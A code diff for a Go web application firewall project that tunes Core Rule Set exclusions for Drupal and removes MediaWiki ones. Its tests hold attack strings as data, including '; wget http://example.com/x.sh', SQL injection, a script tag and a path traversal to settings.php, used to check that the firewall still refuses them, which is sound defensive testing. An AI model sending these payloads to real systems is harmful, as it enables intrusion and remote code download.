ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// post is a POST request for / with a body of the type contentType, a
@@ -1652,19 +1544,10 @@ func TestCorazaWritesNoFile(t *testing.T) {
// refuses to load, and could not write a file of a multipart body.
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
// The test loads its own Core Rule Set, since loading is part of what
// it checks.
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
wantBody(t, crs, post(multipart), body, matched(942100), body)
wantBody(t, readingBodies(t), post(multipart), body, matched(942100), body)
}
func TestBodyLimitOf1GLoads(t *testing.T) {
internal/coreruleset/drupal.conf
+34 -115
View File
@@ -4,24 +4,16 @@
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is
# set. The exclusions above the comment "The fields below are in bodies" also
# cover a body field of the same name whatever the query holds, and only those
# below it need a query without that name.
# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set.
#
# Each path may start with a language prefix, such as /fr in
# /fr/admin/content. The prefix is two or three letters, then optionally a
# hyphen and more letters, as in /pt-br.
#
# Four rules read a search or a name as a command or a system file:
# Four rules read a search or a name as a command or a system file. Each query
# exclusion below removes these four, and only these, from its fields:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Each query exclusion below removes these four from its fields, with two
# exceptions. Rule 900806 removes only 930120 and 932120 from url. Two more
# rules misfire on destination, the address of a page of results, so
# destination alone skips them too:
# Two more misfire on destination, the address of a page of results, so
# destination alone skips them:
# 932230: ls -la
# 932235: python3
@@ -35,7 +27,7 @@
# search: /admin/config/search/path?search=python3
# q: /admin/views/ajax/autocomplete/tag?q=python3
# destination: /admin/content?destination=/admin/content%3Ftitle%3Dpython3
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/admin(?:/|$)" \
SecRule REQUEST_FILENAME "@rx ^/admin(?:/|$)" \
"id:900800,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
@@ -45,11 +37,10 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/admin(?:/|$)" \
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/"
# The page to return to, on the other pages Drupal links to with one, such as
# /node/1/edit?destination=/search/node%3Fkeys%3Dpython3,
# /node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dpython3 and
# /big_pipe/no-js?destination=/admin/content%3Ftitle%3Dpython3.
# /node/1/edit?destination=/search/node%3Fkeys%3Dpython3 and
# /user/login?destination=/search/node%3Fkeys%3Dpython3.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/[a-z]+|[0-9]+/revisions/[0-9]+/(?:revert|delete))|comment/[0-9]+/[a-z]+|media/(?:add/[^/]+|[0-9]+/[a-z]+)|taxonomy/term/[0-9]+/[a-z]+|user/[^/]+(?:/[a-z]+)?|block/add/[^/]+|big_pipe/no-js)$" \
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/[a-z]+)|comment/[0-9]+/[a-z]+|media/(?:add/[^/]+|[0-9]+/[a-z]+)|taxonomy/term/[0-9]+/[a-z]+|user/[^/]+(?:/[a-z]+)?)$" \
"id:900801,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:destination,\
ctl:ruleRemoveTargetById=932120;ARGS:destination,\
@@ -59,20 +50,16 @@ SecRule REQUEST_FILENAME \
ctl:ruleRemoveTargetById=932260;ARGS:destination"
# The text searched for on the search pages: /search/node?keys=python3.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/search(?:/|$)" \
SecRule REQUEST_FILENAME "@rx ^/search(?:/|$)" \
"id:900802,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:keys,\
ctl:ruleRemoveTargetById=932120;ARGS:keys,\
ctl:ruleRemoveTargetById=932250;ARGS:keys,\
ctl:ruleRemoveTargetById=932260;ARGS:keys"
# What is typed into a field that autocompletes a tag, a user, a link in the
# rich text editor or a block's category:
# /entity_reference_autocomplete/taxonomy_term/default/KEY?q=python3
# /ckeditor5/basic_html/entity-link-suggestions?q=python3
# /block-category/autocomplete?q=python3
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:entity_reference_autocomplete/|ckeditor5/[^/]+/entity-link-suggestions$|block-category/autocomplete$)" \
# What is typed into a field that autocompletes a tag or a user:
# /entity_reference_autocomplete/taxonomy_term/default/KEY?q=python3.
SecRule REQUEST_FILENAME "@beginsWith /entity_reference_autocomplete/" \
"id:900803,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
@@ -82,40 +69,19 @@ SecRule REQUEST_FILENAME \
# The values a JSON:API client filters by, in fields named after what they
# filter: /jsonapi/node/article?filter[title]=python3 and
# filter[f][condition][value]=python3.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/jsonapi/" \
SecRule REQUEST_FILENAME "@beginsWith /jsonapi/" \
"id:900804,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^filter\[/"
# A name, in the query or a body: the account whose password is reset, and
# the media library's filter by name:
# /user/password?name=python3
# /media-library?media_library_opener_id=...&name=python3
# /views/ajax?view_name=media_library&name=python3
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/password|media-library|views/ajax)$" \
"id:900805,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:name,\
ctl:ruleRemoveTargetById=932120;ARGS:name,\
ctl:ruleRemoveTargetById=932250;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:name"
# The address of a remote video shown in a page:
# 930120: /media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2F.htaccess
# 932120: /media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fpowershell
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/media/oembed$" \
"id:900806,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The fields below are in bodies. Saving content sends its title, summary, tags,
# address, revision note, comment subject, media name and image text, which
# skip the same four rules there. A title such as "python3, ls -la and .htaccess"
# refused saving a node.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit)|media/(?:add/[^/]+|[0-9]+/edit))$" \
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit)|media/(?:add/[^/]+|[0-9]+/edit))$" \
"id:900810,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:title|subject|name|body|revision_log|path|field_tags|field_)/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
@@ -129,7 +95,7 @@ SecRule REQUEST_FILENAME \
# 930120, 932120, 932125, 932140, 932160, 932230, 932235, 932250, 932260,
# 934100, 941160, 941390, 942170 and 942230.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit))$" \
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit))$" \
"id:900811,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:comment_)?body\[/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
@@ -149,16 +115,14 @@ SecRule REQUEST_FILENAME \
# A JSON:API client saving a node or a comment sends the same HTML in the
# JSON field body.value or comment_body.value, which skips the rules above. A
# title, summary, subject, name, revision note, block description or tag
# description beside it skips 930120, 932120, 932250 and 932260. A tag named
# python3 refused saving it.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/jsonapi/" \
# title, summary or subject beside it skips 930120, 932120, 932250 and 932260.
SecRule REQUEST_FILENAME "@beginsWith /jsonapi/" \
"id:900812,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.data\.attributes\./ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
@@ -170,61 +134,16 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/jsonapi/" \
ctl:ruleRemoveTargetById=942170;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/"
# Signing in, in name and pass or the JSON fields of the same names. A
# password holds any characters:
# 930120: a password ending in /etc/hosts, or a name of .htaccess
# 932120: a password or a name of powershell
# 932250: a password or a name of ls -la
# 932260: a password or a name starting with python3
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
# Signing in, in pass or the JSON field pass, where a password holds any
# characters:
# 930120: a password ending in /etc/hosts
# 932120: a password of powershell
# 932250: a password of ls -la
# 932260: a password starting with python3
SecRule REQUEST_FILENAME "@streq /user/login" \
"id:900813,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:name|pass)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
# A person's name and email address, when signing up, when editing an
# account and when commenting without an account. A name of python3 refused
# signing up, and python3@example.com refused saving an account. An address
# keeps 932250, which no recorded address set off.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+/edit|comment/reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?)$" \
"id:900814,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:name|mail)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:name|mail)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:name|mail)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:name|mail)$/"
# Saving a tag, a custom block or a contact message sends its name,
# description, block description, body, subject or message, which skip the
# same four rules. A tag named python3 refused saving it.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:admin/structure/taxonomy/manage/[^/]+/add|taxonomy/term/[0-9]+/edit|block/add/[^/]+|admin/content/block/[0-9]+|contact(?:/[^/]+)?|user/[0-9]+/contact)$" \
"id:900815,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:name|description|info|body|subject|message)\[/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/"
# A client saving a node in Drupal's JSON format sends its title in the JSON
# field title.0.value: PATCH /node/2?_format=json with a title of python3.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/node/[0-9]+$" \
"id:900816,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.title\./ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.title.0.value,\
ctl:ruleRemoveTargetById=932120;ARGS:json.title.0.value,\
ctl:ruleRemoveTargetById=932250;ARGS:json.title.0.value,\
ctl:ruleRemoveTargetById=932260;ARGS:json.title.0.value"
# A client resetting a password in Drupal's JSON format sends the account in
# the JSON field name: POST /user/password?_format=json with a name of python3.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
"id:900817,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.name "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/"
internal/coreruleset/drupal_test.go
+42 -182
View File
@@ -3,11 +3,10 @@ package coreruleset_test
import (
"net/http"
"net/url"
"slices"
"testing"
)
// drupalThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const drupalThreshold = 5
// drupalAddArticle is Drupal's form for a new article.
@@ -16,25 +15,25 @@ const drupalAddArticle = "/node/add/article"
// drupalSignIn is Drupal's sign-in page.
const drupalSignIn = "/user/login"
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
const drupalJSONSignIn = "/user/login?_format=json"
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
const drupalJSONPasswordReset = "/user/password?_format=json"
// drupalTagForm is Drupal's form for a new tag.
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
// drupalEditAccount is Drupal's form for editing an account.
const drupalEditAccount = "/user/2/edit"
// drupalName is the field for a person's name, as the start of a form body.
const drupalName = "name="
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt")
defaults, bodies := atDefaults(t), readingBodies(t)
for _, recorded := range recordedRequests(t, "drupal-requests.txt") {
r := request{recorded.Method, recorded.Target, recorded.Headers}
got, _ := inspectBody(t, defaults, r, recorded.Body)
if got.Score >= drupalThreshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
got, _ = inspectBody(t, bodies, r, recorded.Body)
if got.Score >= drupalThreshold {
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
r.method, r.target, recorded.Body, got)
}
}
}
// drupalAttacks are an SQL injection, a path traversal and a script
@@ -74,18 +73,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
"/user/password?name=",
"/media-library?name=",
"/views/ajax?name=",
"/ckeditor5/basic_html/entity-link-suggestions?q=",
"/block-category/autocomplete?q=",
"/media/oembed?url=",
"/big_pipe/no-js?destination=",
"/node/2/revisions/3/revert?destination=",
"/node/2/revisions/3/delete?destination=",
"/block/add/basic?destination=",
"/fr/admin/content?title=",
"/fr/search/node?keys=",
} {
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
@@ -108,18 +95,7 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
{reply, drupalName + attack},
{drupalSignIn, "pass=" + attack},
{drupalSignIn, drupalName + attack},
{"/fr/user/login", drupalName + attack},
{"/user/register", drupalName + attack},
{drupalEditAccount, "mail=" + attack},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack},
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack},
{"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack},
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
@@ -131,16 +107,12 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
}
for _, attack := range []string{
injection,
scriptTag,
`1' OR '1'='1`,
`<script>alert(1)</script>`,
} {
for _, field := range []string{
`"title":"` + attack + `"`,
`"body":{"value":"` + attack + `"}`,
`"name":"` + attack + `"`,
`"revision_log":"` + attack + `"`,
`"info":"` + attack + `"`,
`"description":{"value":"` + attack + `"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
@@ -153,43 +125,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
body := `{"title":[{"value":"` + attack + `"}]}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
}
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body = `{"name":"` + attack + `","pass":"example"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, attack := range []string{
injection,
scriptTag,
`; wget http://example.com/x.sh`,
`../../sites/default/settings.php`,
} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"name":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
@@ -216,50 +151,28 @@ func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
"/search/node?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/user/password?name=",
"/media-library?name=",
"/views/ajax?name=",
"/ckeditor5/basic_html/entity-link-suggestions?q=",
"/block-category/autocomplete?q=",
"/media/oembed?url=",
"/fr/admin/content?title=",
} {
got := inspect(t, crs, get(target+drupalCommandAttack))
if got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
}
func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs = readingBodies(t)
crs := readingBodies(t)
for _, sent := range []struct{ target, field string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D="},
{drupalAddArticle, "body%5B0%5D%5Bsummary%5D="},
{drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="},
{drupalAddArticle, "path%5B0%5D%5Balias%5D="},
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
{drupalSignIn, drupalName},
{"/user/register", drupalName},
{drupalEditAccount, "mail="},
{"/comment/reply/node/1/comment", drupalName},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
{"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="},
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D="},
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="},
{"/contact", "subject%5B0%5D%5Bvalue%5D="},
{"/contact/feedback", "message%5B0%5D%5Bvalue%5D="},
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D="},
for _, field := range []string{
"title%5B0%5D%5Bvalue%5D=",
"body%5B0%5D%5Bsummary%5D=",
"revision_log%5B0%5D%5Bvalue%5D=",
"path%5B0%5D%5Balias%5D=",
"field_tags%5Btarget_id%5D=",
"field_image%5B0%5D%5Balt%5D=",
} {
r := request{http.MethodPost, sent.target, []string{formData}}
r := request{http.MethodPost, drupalAddArticle, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
got, _ := inspectBody(t, crs, r, field+drupalCommandAttack)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
t.Errorf("POST %s %s let through: %+v", r.target, field, got)
}
}
@@ -267,10 +180,6 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
`"title":"; wget http://example.com/x.sh"`,
`"subject":"; wget http://example.com/x.sh"`,
`"body":{"summary":"; wget http://example.com/x.sh"}`,
`"name":"; wget http://example.com/x.sh"`,
`"revision_log":"; wget http://example.com/x.sh"`,
`"info":"; wget http://example.com/x.sh"`,
`"description":{"value":"; wget http://example.com/x.sh"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
@@ -283,32 +192,14 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
}
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body = `{"name":"; wget http://example.com/x.sh","pass":"example"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
// An address keeps 932250, which refuses ls -la.
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
}
}
// drupalHardValues are the words that name commands and files, as a form
// value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var drupalHardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Parallel()
@@ -316,7 +207,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
const subject = "subject%5B0%5D%5Bvalue%5D="
for _, value := range hardValues {
for _, value := range drupalHardValues {
for _, sent := range []struct{ target, field string }{
{"/comment/reply/node/1/comment", subject},
{"/comment/reply/node/1/comment/5", subject},
@@ -335,27 +226,22 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
}
}
for _, value := range hardValues {
for _, value := range drupalHardValues {
word, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
r := request{
http.MethodPost, "/user/login?_format=json",
[]string{"Content-Type: application/json"},
}
body := `{"name":"example","pass":"` + word + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
body = `{"name":"` + word + `"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
@@ -370,9 +256,6 @@ func TestDrupalExclusionsAreNarrow(t *testing.T) {
"/entity_reference_autocomplete/user/default/KEY?q=python3",
"/jsonapi/node/article?filter%5Btitle%5D=python3",
"/node/1/edit?destination=python3",
"/fr/admin/content?title=python3",
"/pt-br/search/node?keys=python3",
"/user/password?name=python3",
} {
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
t.Errorf("%s refused: %+v", passes, got)
@@ -387,12 +270,6 @@ func TestDrupalExclusionsAreNarrow(t *testing.T) {
"/?q=python3",
"/?filter%5Btitle%5D=python3",
"/python3-notes?destination=python3",
"/notes/admin/content?title=python3",
"/fr/node/1?keys=python3",
"/?name=python3",
"/user/login?name=python3",
"/media/oembed?url=python3",
"/media/oembed?url=ls%20-la",
} {
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", refused, got)
@@ -411,9 +288,6 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
{drupalSignIn, "pass=python3"},
{drupalSignIn, "name=python3"},
{drupalEditAccount, "mail=python3"},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
} {
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
@@ -422,18 +296,4 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
// The JSON field name keeps the rules beside json.name in the query, and
// on a path other than the password reset.
for _, target := range []string{
drupalJSONPasswordReset + "&json.name=python3",
"/user/register?_format=json",
} {
r := request{http.MethodPost, target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
internal/coreruleset/mediawiki.conf
-177
View File
@@ -1,177 +0,0 @@
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
# sends a search, a title, a name, a file name, an address, a summary or a
# reason, and the fields that hold wikitext. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter of
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# MediaWiki's paths are matched at the site root and under /w/.
#
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
# with a page title, in the query or after the path:
# /index.php?title=Main_Page
# /index.php/Main_Page, where a wiki without short URLs serves its pages
# Pages under /wiki/ need neither.
#
# Four rules read a search, a title or a name as a command or a system file.
# Each exclusion below for such a field removes these four, and only these:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# The pages and their titles, the searches, and the special pages' fields
# for a page, a user, a file or an address:
